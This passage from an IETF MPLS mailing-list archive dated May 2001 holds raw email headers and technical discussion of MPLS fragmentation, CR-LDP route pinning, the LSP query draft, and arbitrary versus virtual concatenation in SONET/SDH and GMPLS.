> > > Thanks
> > > YTR
> > >
> > > On Tue, 15 May 2001, mgoel@hss.hns.com wrote:
> > >
> > > >
> > > >
> > > >
> > > >Hi all,
> > > >
> > > >Section 3 of RFC 3032 discusses the procedure for fragmenting the
> >labeled
> > > >as
> > > >well as unlabeled MPLS packet. In IP there are fields in the datagram
> > > >header
> > > >(IDENTIFICATION, FLAGS, and FRAGMENT OFFSET) which control
> >fragmentation
> > > >and
> > > >reassembely of datagrams. But in MPLS header there are no such fields
> > > >defined.
> > > >So how does reassembly of the fragmented MPLS packets happens at the
> > > destination
> > > >host.
> > > >
> > > >Thanks in advance
> > > >Mohit
> > >
> > >
> > >
> >_________________________________________________________________________
> > > Get Your Private, Free E-mail from MSN Hotmail at
> >http://www.hotmail.com.
> >
> >
> >______________________________________________________
> >123India.com - India's Premier Portal
> >Get your Free Email Account at http://www.123india.com
> >
> >
>
>_________________________________________________________________________
>Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.
>
>
>
>
>

_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.



From owner-mpls@UU.NET  Thu May 17 04:30:05 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA12124
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 04:30:05 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpjl15587;
	Thu, 17 May 2001 08:29:08 GMT
Received: by mail-control.mail.uu.net 
	id QQkpjl08910
	for mpls-outgoing; Thu, 17 May 2001 08:28:36 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpjl08902
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 08:28:29 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpjl27926
	for <mpls@uu.net>; Thu, 17 May 2001 08:28:21 GMT
Received: from brahma01.netbrahma.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.67])
	id QQkpjl15322
	for <mpls@uu.net>; Thu, 17 May 2001 08:28:18 GMT
Received: by BRAHMA01 with Internet Mail Service (5.5.2653.19)
	id <LA7MG01G>; Thu, 17 May 2001 13:57:59 +0530
Message-ID: <13D467F625FAD511AE2A00D0B7B917D705C213@BRAHMA01>
From: Mohit Misra <MohitM@netbrahma.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: cr-ldp doubts
Date: Thu, 17 May 2001 13:57:58 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

I have some basic doubts about CR-LDP

draft-ietf-mpls-cr-ldp-05.txt

Sec. 2 (Constraint based routing overview)
... The constraint based route is calculated at one point at the edge of the
network based on criteria including but not limited to routing information.
           Does that mean that the ingress node has to always calculate the
path (loose or strict) which could be based on policy or traffic parameters
& routing information. If this is true then CR-LDP should always use ER-Hop
TLV. Then why it is mentioned as optional in the draft ?.

Suppose I want to setup a CR-LSP based totally on traffic parameters and and
I don't care which path it follows. In that case can't intermediate nodes
choose the path that fulfils the constraints. (like LDP). In this case
ER-TLV may not be required.


2.4 Route Pinning
... A CR-LSP may be setup using route pinning if it is desirable to change
the path used by an LSP even when a better next hop becomes available at
some LSR alsong the loosly routed portion of the lsp.

In case route pinning is not used then who decides that a better next hop
has become available . From the lines above looks like it is the
intermediate node. Is it something like 'Detect change in FEC next hop'
described in RFC 3036 (LDP). That means whenever there is a routing table
change happens , somebody needs to find out the better next hop(s) for all
the LSPs for which route pinning is not required. That looks like a lot of
effort for me if it is done by each intermediate node of the LSP. 
If the above mentioned scenario is true then from the node where a better
next hop is available a second LSP needs to be setup 
before it can start sending the packets on the new path . The draft doesn't
say anything about that.
                      Suppose I set route pinning for an LSP. What happens
if a new LSP is setup with higher setup priority than the holding priority
of the LSP which has been pinned. In case resources are not available ,
should new LSP be setup and the old one is teared down as you can not
re-reoute it.
					thanx in advance

Mohit Misra
Netbrahma Technologies
www.netbrahma.com



From owner-mpls@UU.NET  Thu May 17 05:06:00 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA12354
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 05:06:00 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpjo28084;
	Thu, 17 May 2001 09:05:21 GMT
Received: by mail-control.mail.uu.net 
	id QQkpjo29615
	for mpls-outgoing; Thu, 17 May 2001 09:04:48 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpjo28429
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 09:04:34 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpjo19120
	for <mpls@UU.NET>; Thu, 17 May 2001 09:04:27 GMT
Received: from tomp.smb.utfors.se by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: tomp.smb.utfors.se [195.58.112.6])
	id QQkpjo27090
	for <mpls@UU.NET>; Thu, 17 May 2001 09:04:25 GMT
Received: from utfors.se ([10.58.0.153]) by tomp.smb.utfors.se
          (Netscape Messaging Server 4.15) with ESMTP id GDH2NC00.ONB for
          <mpls@UU.NET>; Thu, 17 May 2001 11:06:48 +0200 
Message-ID: <3B039418.285034D@utfors.se>
Date: Thu, 17 May 2001 11:04:24 +0200
From: Loa Andersson <loa.andersson@utfors.se>
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: I-D ACTION:draft-ietf-mpls-lsp-query-02.txt
References: <200105161102.HAA02659@ietf.org>
Content-Type: text/plain; charset=iso-8859-1
Sender: owner-mpls@UU.NET
Precedence: bulk
X-MIME-Autoconverted: from 8bit to quoted-printable by cmr1.ash.ops.us.uu.net id QQkpjo28084
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id FAA12354

All,

something that struck me, draft-ietf-mpls-lsp-query-02.txtabout 
having read only the the abstract and leafed through the draft.
LDP LSPs and the lose parts of CR-LDP LSPs have a certain dynamic
character, i.e. when a next hop changes the LSP follow that change.

How is a possible change in network topology co-ordinted when a 
querry message is sent. Given that we receive the respnse to a querry
at "t" and some time later "t+n" a topology change occurs. Do we 
need to re-send querries each time "something" happen? Or do we try
to calculate if a particular LSP has changed becasue of the topology
change.

/Loa

Internet-Drafts@ietf.org wrote:

> This document describes the encoding and procedures for three new LDP
> messages, the Query Message and Query-Reply Message and Partial
> Query-Reply Message (the last one is almost identical to the Query-
> Reply message; therefore all references to the Query-Reply messages
> imply the Partial Query-Reply messages as well, unless otherwise
> specified).  An LER sends a Query message when it needs to find out
> information about an LSP. The Query message is sent for an
> established LSP.  The Query message can be used for LDP LSPs as well
> as for CR-LSPs.  The queried data is encoded into the Query-Reply
> messages. The Query Message carries only the list of hops.

-- 
Loa Andersson
Chief Architect,
Utfors Research, Architecture and Future Lab (URAX)
Utfors AB
Råsundavägen 12
Box 525, 169 29 Solna
Office          +46 8 5270 2000
Office direct   +46 8 5270 5038
Mobile          +46 70 848 5038
Email           loa.andersson@utfors.se
WWW             www.utfors.se


From owner-mpls@UU.NET  Thu May 17 07:30:08 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA13836
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 07:30:08 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpjx17776;
	Thu, 17 May 2001 11:29:12 GMT
Received: by mail-control.mail.uu.net 
	id QQkpjx20102
	for mpls-outgoing; Thu, 17 May 2001 11:28:39 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpjx20093
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 11:28:32 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpjx02722
	for <mpls@uu.net>; Thu, 17 May 2001 11:28:11 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkpjx22395
	for <mpls@uu.net>; Thu, 17 May 2001 11:28:05 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id HAA28184 for mpls@uu.net; Thu, 17 May 2001 07:28:05 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpjx20046
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 11:27:19 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpjx09985
	for <mpls@UU.NET>; Thu, 17 May 2001 11:26:38 GMT
Received: from auemail1.firewall.lucent.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: auemail1.lucent.com [192.11.223.161])
	id QQkpjx09797
	for <mpls@UU.NET>; Thu, 17 May 2001 11:26:37 GMT
Received: from auemail1.firewall.lucent.com (localhost [127.0.0.1])
	by auemail1.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f4HBQaN24192
	for <mpls@UU.NET>; Thu, 17 May 2001 07:26:37 -0400 (EDT)
Received: from hzsms01.nl.lucent.com (h135-85-32-31.lucent.com [135.85.32.31])
	by auemail1.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f4HBQZN24174
	for <mpls@UU.NET>; Thu, 17 May 2001 07:26:35 -0400 (EDT)
Received: by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2)
	id NAA12729; Thu, 17 May 2001 13:26:19 +0200 (MET DST)
Cc: "Bernstein, Greg" <GregB@ciena.com>,
        "'Mannie, Eric'" <Eric.Mannie@ebone.com>, ccamp@ops.ietf.org,
        mpls@UU.NET
Received: from lucent.com by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2)
	id NAA12667; Thu, 17 May 2001 13:26:11 +0200 (MET DST)
Message-ID: <3B03B552.2F2CB96D@lucent.com>
Date: Thu, 17 May 2001 13:26:10 +0200
From: Maarten Vissers <mvissers@lucent.com>
Organization: Lucent Technologies
X-Mailer: Mozilla 4.6 [en]C-CCK-MCD EMS-1.4  (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Michael Waldo <mwwaldo@flash.net>
Original-CC: "Bernstein, Greg" <GregB@ciena.com>,
        "'Mannie, Eric'" <Eric.Mannie@ebone.com>, ccamp@ops.ietf.org,
        mpls@UU.NET
Subject: Re: Small issue on draft-ietf-ccamp-gmpls-sdh-00.txt
References: <E7FD0BF66F57D311809C00902785C4CC0305C106@lightera2.csd.ciena.com> <3B030221.FC3702D5@flash.net>
Content-Type: multipart/mixed;
 boundary="------------A1A8AA663DBC054B94796453"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------A1A8AA663DBC054B94796453
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Waldo,

I am copying an email conversation ongoing in the IP-optical mailing
list on arbitrary concatenation. Hope this provides the input you are
looking for.

Bottom line is that neither arbitrary contiguous concatenation nor
arbitrary concatenation is part of the SONET/SDH standards. It is a
vendor proprietary extension of these SONET/SDH standards, for which it
is in my (and some other peoples) view highly unlikely that it will be
included in the SONET/SDH standards.

As you indicate with virtual concatenation being the international
standard and the direction in the industry today, arbitrary
concatenation doesn't add anything to the transport network; contrary,
it would cause interworking problems.

But arbitrary contiguous concatenation wouldn't add anything either, and
compared to arbitrary concatenation it would still have the bandwidth
fragmentation problem that standard contiguous concatenation is having.
I.e. arbitrary contiguous concatenation is worse.



All,

The GMPLS SONET/SDH extension document is thus defining a control plane
which supports capabilities in the transport plane that are not
supported by the international standards for this transport plane.
Personally, I find this very incorrect. IETF has no mandate to change
the SONET/SDH standards. A control plane for the transport network
should follow the transport network standards, not define its own
transport network.

Regards,

Maarten

---------------




Maarten Vissers wrote:
> 
> Greg, Anup, Sanjay,
> 
> To my recollection, the SONET/SDH definition is performed in T1X1.5 and
> ITU-T SG15. Last year new revisions of T1.105 and G.707 were approved,
> in which the "arbitrary contiguous concatenation" has been removed. Such
> step isn't made just for fun.
> 
> If you believe the removal of "arbitrary contiguous concatenation" from
> these standards was a mistake, please submit a contribution to T1X1.5
> and ITU-T Q.11/15 with a proposal to re-introduce it. At the same time
> you can then also request to introduce "arbitrary concatenation" and
> propose mappings of client signals into these arbitrary (contiguous)
> concatenated signals. However, as indicated by Mark, Juergen and myself,
> I doubt if you find support for such extension of SONET and SDH.
> 
> For the moment, SONET/SDH networks compliant with T1.105 and G.707
> standards can forward "contiguous concatenated" VC-4-Xc (X=4,16,64) and
> STS-3c/12c/48c/192c signals and "virtual concatenated" VC-n-Xv (n=3,4),
> STS-1, STS-3c-Xc (X=1..256) and VC-n (n=11,12), VT-1.5-Xv (X=1..64)
> signals, not the "arbitrary concatenated" signals.
> Arbitrary concatenation is a proprietary extension of SONET/SDH, for
> which there is no interworking with standard SONET/SDH networks.
> 
> Virtual concatenation is THE international standardised direction, for
> which a vendor and operator may expect to see seemless interworking in
> the SONET/SDH network.
> 
> Virtual concatenation got very popular due to the:
> - pricing of Ethernet ports on routers (compared to pricing of
> STM-N/OC-N ports on routers),
> - absence of channelized STM-N/OC-N interface ports on routers.
> 
> As a result the transport network was forced to accept Ethernet physical
> interfaces, in additon to the traditional SONET/SDH and PDH interfaces.
> Transport networking engineers very well understand the desire of a
> customer to pay only for the bandwidth needed, and consequential within
> the constraints of the SONET/SDH transport network a solution was
> developed to meet the needs of the customer and the needs of the
> operator. This is virtual concatenation with GFP as encapsulation
> method.
> 
> Virtual concatenation allows to separate the physical and logical
> aspects of Ethernet signals, like such is common practice for any other
> SDH/SONET signal. I.e. the (10M, 100M, 1G) Ethernet PHY signal is
> terminated, the ethernet idle packets are dropped and the packets with
> information inside of it are forwarded in a transport pipe sized to the
> customers need.
> The additional complexity is the introduction of a (skinny) ehternet
> layer on top of the SDH/SONET layers, as at a minimum some monitoring is
> to be performed at the ethernet level.
> 
> Of course, it would be more economical if the transport network didn't
> have to do this job. I.e. routers should use STM-N/OC-N interface ports
> supporting virtual concatenated VC-n/STS/VT signals. The transport
> network would n't have to deal then with its client signals, and instead
> of ethernet in the virtual concatenated signals, any other data protocol
> could be used by the routers (e.g. IP/PPP/GFP).
> 
> But, while having to do this ethernet processing, extensions are
> becoming economical in the access transport networks; i.e. having
> ethernet bridging/switching present, it can be used to groom ethernet
> traffic to further optimise and thus cost reduce ethernet packet
> transport. It is now possible to offer sub-VC-n/STS/VT ethernet
> transport pipes (in addition to the multi-VC-n/STS/VT ) through the
> SDH/SONET access networks.
> 
> Regards,
> 
> Maarten
> 
> Anup Tirumala wrote:
> >
> > If routers can routinely fill TDM pipes fully, why are we even talking
> > virtual concatenation?
> >
> > Arbitrary (or even Virtual) concatenation has the
> > best bang for buck with packets sharing bandwidth
> > with TDM. (i.e. in a converged network).
> >
> > Indeed, a business case does exist for arbitrary concatenation.
> > Ask Cyras (now Ciena;)
> >
> > You must look at this in conjunction with Network Processors
> > and statistical multiplexing.
> >
> > A customer need only pay for as much bandwidth as he/she needs,
> > while the remainder can be used for TDM channels.
> >
> > We believe the case for arbitrary concatenation does exist:
> >
> > 1. scales better with technology.
> > 2. no massive buffering requirements. (note that virtual concatenation
> >    does not "guarantee" hit-less operation. with buffering, one can limit
> >    the hit that's all).
> > 3. augments native contiguous concatenation. i.e. contiguous concatenation
> >    becomes a degenerate case of arbitrary concatenation.
> > 4. A customer explicity asked for it. :)
> >
> > I think there is merit to an effort at interoperability.
> >
> > -anup
> >
> > > -----Original Message-----
> > > From: Mark.Jones@mail.sprint.com [mailto:Mark.Jones@mail.sprint.com]
> > > Sent: Tuesday, May 15, 2001 12:36 PM
> > > To: chickoo66@yahoo.com
> > > Cc: GregB@ciena.com; ip-optical@lists.bell-labs.com;
> > > mvissers@lucent.com
> > > Subject: RE: [IP-Optical] concatenation extensions in sonet/sdh
> > >
> > >
> > > From my perspective, all necessary applications can be met by
> > > contiguous
> > > and virtual concatenation.  Adding arbitrary concatenation simply
> > > increases the number of spares to maintain, the number of
> > > attributes to
> > > test for interoperability, and the potential complexity to
> > > port cards.
> > > The improved bandwidth efficiency you are going to claim
> > > won't outweigh
> > > the problems I see as a result.  Unless you can show a significant
> > > business driver for this, I would recommend not wasting your
> > > time trying
> > > to standardize it.  The trend is to maintain variable size
> > > connections
> > > using packets anyway.  Why are we talking about doing this
> > > with TDM?  I
> > > find it most interesting that this IETF group is discussing variable
> > > size TDM pipes, when routers typically can fill a TDM pipe at
> > > the line
> > > rate.
> > >
> > > Mark Loyd Jones
> > > Sprint
> > > Technology Planning & Integration
> > > 913-534-5247
> > > mark.jones@mail.sprint.com
> > >
> > >
> > > > -----Original Message-----
> > > > From: chickoo66 [mailto:chickoo66@yahoo.com]
> > > > Sent: Tuesday, May 15, 2001 1:47 PM
> > > > To: GregB; mvissers; ip-optical
> > > > Cc: chickoo66
> > > > Subject: RE: [IP-Optical] concatenation extensions in sonet/sdh
> > > >
> > > >
> > > > I could not agree more.
> > > > Arb-Concatenation, being a logical (and graceful)
> > > > extension of standard contiguous concatenation,
> > > > can easily co-exist with virtual.
> > > > Imagine channels such as 2c,5c,6c,7c... 767c :)
> > > > However, we need to be able to interoperate
> > > > with outside-vendor equipments, with regards
> > > > to the multiplexing scheme.
> > > > Dr.Berstein/other, do you know of any such
> > > > interoperating effort on-going?
> > > > Would any one be interested in interoperability
> > > > issues pertaining to arb-concat?
> > > > I emphasize: arb-conc is complementary to virt-concat.
> > > > Comments?
> > > > Sanjay
> > > >
> > > >
> > > >
> > > > --- "Bernstein, Greg" <GregB@ciena.com> wrote:
> > > > > Folks, please note that Arbitrary concatenation is
> > > > > not in any of the ITU or
> > > > > ANSI standards as Maarten points out below.
> > > > > Maarten my understanding is that GFP can be used
> > > > > with either standard
> > > > > contiguous concatenation or virtual concatenation.
> > > > >
> > > > > For those interested in arbitrary concatenation for
> > > > > the standard sizes,
> > > > > e.g., STS-3c, STS-12c, one can just use the payload
> > > > > mappings from standard
> > > > > contiguous concatenation.  A network supporting
> > > > > arbitrary concatenation can
> > > > > transport these efficiently with no re-grooming.
> > > > >
> > > > > Note that I think SDH/SONET networks can make use of
> > > > > both virtual and
> > > > > arbitrary concatenation.
> > > > > Greg B.
> > > > >
> > > > >   Dr. Greg M. Bernstein, Senior Scientist, Ciena
> > > > >   New phone: (510) 573-2237
> > > > >
> > > > >
> > > > >           -----Original Message-----
> > > > >           From:   Maarten Vissers [mailto:mvissers@lucent.com]
> > > > >           Sent:   Tuesday, May 15, 2001 1:06 AM
> > > > >           To:     Bernstein, Greg; 'ashritha thirumalai';
> > > > > ip-optical@lists.bell-labs.com
> > > > >           Subject:        Re: [IP-Optical] concatenation
> > > > extensions
> > > > > in
> > > > > sonet/sdh
> > > > >
> > > > >            << File: Card for Maarten Vissers >> Greg,
> > > > >
> > > > >           The transport of ethernet signals via SDH/SONET
> > > > > networks is
> > > > > being
> > > > >           defined in T1 and ITU-T to use virtual
> > > > > concatenation and GFP
> > > > > for
> > > > >           encapsulation, not arbitrary concatenation.
> > > > >
> > > > >           The transport of SAN signals (ESCON, FC, FICON)
> > > > > via
> > > > > SDH/SONET networks
> > > > >           is being defined in T1 and ITU-T to use virtual
> > > > > concatenation and GFP
> > > > >           for encapsulation, not arbitrary concatenation.
> > > > >
> > > > >           The transport of ATM signals via SDH/SONET
> > > > > networks is
> > > > > defined in T1 and
> > > > >           ITU-T to use VC-3/STS-1, VC-4/STS-3c,
> > > > > VC-4-4c/STS-12c,
> > > > > VC-4-16c/STS-48c,
> > > > >           VC-4-64c/STS-192c, VC-4-256c/STS-768c and
> > > > > STS-1-Xv,
> > > > > VC-4-Xv/STS-3c-Xv.
> > > > >
> > > > >           For the case interworking between subnetworks of
> > > > > different
> > > > > vendors and
> > > > >           networks of different operators is required, the
> > > > > above
> > > > > signals and
> > > > >           mappings are to be used.
> > > > >
> > > > >           For the case interworking is not required, any
> > > > > proprietary
> > > > >           implementation (e.g. arbitrary concatenation) can
> > > > > be used.
> > > > >
> > > > >           Regards,
> > > > >
> > > > >           Maarten
> > > > >
> > > > >
> > > > >           Maarten Vissers wrote:
> > > > >           >
> > > > >           > Greg, Sanjay,
> > > > >           >
> > > > >           > In additon to Juergen's comment, I would like to
> > > > > point out
> > > > > that VC-4-2c,
> > > > >           > VC-4-3c, VC-4-5c, etc are not longer part of the
> > > > > SDH
> > > > > hierarchy (G.707
> > > > >           > 10/2000), and I doubt if the ITU-T community
> > > > > would like to
> > > > > re-introduce
> > > > >           > these signal types given all the hassle the
> > > > > introduction
> > > > > of VC-4-4c
> > > > >           > (with ATM payload) did cause in the past.
> > > > >           >
> > > > >           > And as Juergen indicated, real arbitrary
> > > > > concatenation
> > > > > would require the
> > > > >           > mapping of a VC-4-Xc signal in any set of X AU-4
> > > > > timeslots. As long as
> > > > >           > you need still a series of contiguous timeslots
> > > > > (i.e.
> > > > > arbitrary
> > > > >           > contiguous concatenation), bandwidth
> > > > > defragmenation (or
> > > > > re-grooming) is
> > > > >           > required once every ...
> > > > >           >
> > > > >           > I.e. arbitrary contiguous concatenation (ACC)
> > > > >           > - still has the same fragmentation issue that is
> > > > > also
> > > > > present in today's
> > > > >           > contiguous concatenation; it is less restrictive
> > > > > from a
> > > > > theoretical
> > > > >           > perspective, but Murphy's law will be
> > > > > applicable, and the
> > > > > fragmentation
> > > > >           > will be such that there is no contiguous set of
> > > > > AU4
> > > > > timeslots free
> > > > >           > normally - i.e. from the distance, there is no
> > > > > benifit at
> > > > > all from the
> > > > >           > operational perspective, perhaps even only a
> > > > > disadvantage
> > > > > (more complex
> > > > >           > provisioning due to more flexibility)
> > > > >           > - ACC signals can not be routed via most
> > > > > SDH/SONET
> > > > > networks.
> > > > >           >
> > > > >           > Within the OTN definition work ongoing, the ODUk
> > > > > multiplexing is
> > > > >           > intended to be specified with true arbitrary
> > > > > concatenation. Refer to
> > > > >           > SP15 of the G.709 living list for the moment.
> > > > > Later this
> > > > > week a first
> > > > >           > ODUk multiplexing text proposal will be issued
> > > > > towards
> > > > > ITU-T Q.11/15.
> > > > >           >
> > > > >           > Regards,
> > > > >           >
> > > > >           > Maarten
> > > > >           >
> > > > >           > Heiles Juergen wrote:
> > > > >           > >
> > > > >           > > Greg, Sanjay,
> > > > >           > >
> > > > >           > > if you build up a new network, if you don't
> > > > > have to care
> > > > > about an installed base and if you further can
> > > > > accept to be restricted to a
> > > > > single vendor (E.g. signle ring network) arbitary
> > > > > concatenation could be
> > > > > fine.
> > > > >           > > Concerning the upgrade, virtual concatenation
> > > > > would
> > > > > often require only a new tributary interface card
> > > > > (depending on your system
> > > > > design), not an upgrade of the whole network
> > > > > element. As you have to install
> > > > > this new interface card due to the new service (e.g.
> > > > > 100M/1G Ethernet)in any
> > > > > case it is not an additional investment.
> > > > >           > > Greg you mentioned re-grooming as far as I
> > > > > understand
> > > > > arbitary (contiguous) concatenation you still need X
> > > > > contiguous VCs/SPEs.
> > > > > Only the number X and the starting time slot has no
> > > > > limitations as it is the
> > > > > case for standard contiguous cocnatenation. So you
> > > > > still ahve to do
> > > > > re-grooming if for example time slots 1, 5 and 6 are
> > > > > available in an STM-16
> > > > > signal as these time slots are not contgiguous.
> > > > > Arbitary concatenation has
> > > > > less restrictions compared to standard contiguous
> > > > > concatenation, but still
> > > > > has restrictions.
> > > > >           > > Sanjay, you talked about OC3072. We might have
> > > > > 160
> > > > > Gbit/s in the future in some parts of the network,
> > > > > but others are still
> > > > > running with lower line speeds (e.g. long distance
> > > > > systems, trans oceanic
> > > > > systems) as the higher bit rate imposes limitations
> > > > > in the distance and you
> > > > > have an isntalled base. With virtual concatenation
> > > > > it is not a problem to
> > > > > transport a 160 Gbit/s service (if such a kind of
> > > > > service is needed in any
> > > > > case) over 4x40G or 16x10G.
> > > > >           > > Note that arbitary concatenation was diffcult
> > > > > to
> > > > > implement with the chip technology available some
> > > > > years ago when the
> > > > > processing was often done in parallel on several
> > > > > chips. Todays single chip
> > > > > solutions allowed to introduce arbitary
> > > > > concatenation. For the size of the
> > > > > alignment buffer for virtual concatenation it is
> > > > > also only a question of the
> > > > > size of available memory chips which will increase
> > > > > over time.
> > > > >           > > Sanjay you mentioned that it might be possible
> > > > > to use
> > > > > just an SW upgrade for an cross-connect in order to
> > > > > get arbitary
> > > > > concatenation support. I don't think so as arbitary
> > > > > concateantion requries
> > > > > specific pointer processing which is done in HW.
> > > > >           > >
> > > > >           > > Regards
> > > > >           > >
> > > > >           > > Juergen
> > > > >           > >
> > > > >           > > > -----Original Message-----
> > > > >           > > > From: Bernstein, Greg [SMTP:GregB@ciena.com]
> > > > >           > > > Sent: Monday, May 14, 2001 5:55 AM
> > > > >           > > > To:   'ashritha thirumalai'; Fong, Man Wing;
> > > > > Maarten
> > > > > Vissers; Heiles Juergen
> > > > >           > > > Cc:   ip-optical@lists.bell-labs.com
> > > > >           > > > Subject:      RE: [IP-Optical] concatenation
> > > > > extensions in sonet/sdh
> > > > >           > > >
> > > > >           > > > Hi Sanjay see comments in line below.
> > > > >           > > > Greg B.
> > > > >           > > >
> > > > >           > > >       Dr. Greg M. Bernstein, Senior
> > > > > Scientist, Ciena
> > > > >           > > >       New phone: (510) 573-2237
> > > > >           > > >
> > > > >           > > >
> > > > >           > > >               -----Original Message-----
> > > > >           > > >               From:   ashritha thirumalai
> > > > > [mailto:chickoo66@yahoo.com]
> > > > >           > > >               Sent:   Saturday, May 12, 2001
> > > > > 9:54 AM
> > > > >           > > >               To:     Bernstein, Greg; Fong,
> > > > > Man Wing;
> > > > > Maarten Vissers;
> > > > >           > > > Heiles Juergen
> > > > >           > > >               Cc:
> > > > > ip-optical@lists.bell-labs.com
> > > > >           > > >               Subject:        RE:
> > > > > [IP-Optical]
> > > > > concatenation extensions in
> > > > >           > > > sonet/sdh
> > > > >           > > >
> > > > >           > > >               Dr. Bernstein,
> > > > >           > > >
> > > > >           > > >               Glad you replied.
> > > > >           > > >
> > > > >           > > >               A few further questions:
> > > > >           > > >
> > > > >           > > >               1. how are two different
> > > > > vendors
> > > > > implementing arb-conc
> > > > >           > > >               going to inter-operate? (i.e.
> > > > > how are
> > > > > bytes in
> > > > >           > > >               an arb-concatenated channel
> > > > > multiplexed
> > > > > into the
> > > > >           > > >               rest of Sonet/SDH timeslots?)
> > > > >           > > >               > For non-standard sizes this
> > > > > needs some
> > > > > work. I'm happy to
> > > > >           > > > work anyone in this area. Starting with the
> > > > > standard
> > > > > sizes isn't a problem
> > > > >           > > > we just use the already standardized
> > > > > mappings.
> > > > >           > > >               2. would you be able to list
> > > > > some
> > > > > vendors that
> > > > >           > > >               do (or claim to) support
> > > > > arb-concat?
> > > > >           > > >               > Ciena's CoreDirector for
> > > > > one. I know
> > > > > of other vendors but
> > > > >           > > > I'm not sure if they've publicly announced.
> > > > >           > > >               3. and a repeat question. why
> > > > > should one
> > > > > go with
> > > > >           > > >               arb-concat when virt-cont
> > > > > (kludgy as it
> > > > > may be)
> > > > >           > > >               has been standardized. (in my
> > > > > limited
> > > > > understanding
> > > > >           > > >               of virt-conc, it does avoid
> > > > > the
> > > > > "re-grooming" that
> > > > >           > > >               you alluded to).
> > > > >           > > >               > Well virtual concatenation
> > > > > can do
> > > > > everything but it>
> > > > >           > > > requires the edge equipment to be upgraded.
> > > > > If folks
> > > > > want to preserve their
> > > > >           > > > investments around the edge and
> > > > > incrementally upgrade
> > > > > the core then any line
> > > > >           > > > connecting two pieces of equipment
> > > > > supporting
> > > > > arbitrary concatenation
> > > > >           > > > doesn't need to be re-groomed or be used
> > > > > inefficiently.  Hence it's a good
> > > > >           > > > feature for core equipment, but maybe not so
> > > > > hot
> > > > > compared to virtual
> > > > >           > > > concatenation at the edge.
> > > > >           > > >
> > > > >           > > >               greatly appreciate a reply.
> > > > >           > > >
> > > > >           > > >               Thanx,
> > > > >           > > >               Sanjay.
> > > > >           > > >
> > > > >           > > >
> > > > >           > > >
> > > > >           > > >
> > > > >           > > >               --- "Bernstein, Greg"
> > > > > <GregB@ciena.com>
> > > > > wrote:
> > > > >           > > >               > Hi sorry to be out of the
> > > > > loop for a
> > > > > while.  Man
> > > > >           > > >               > Wing's assesment and the
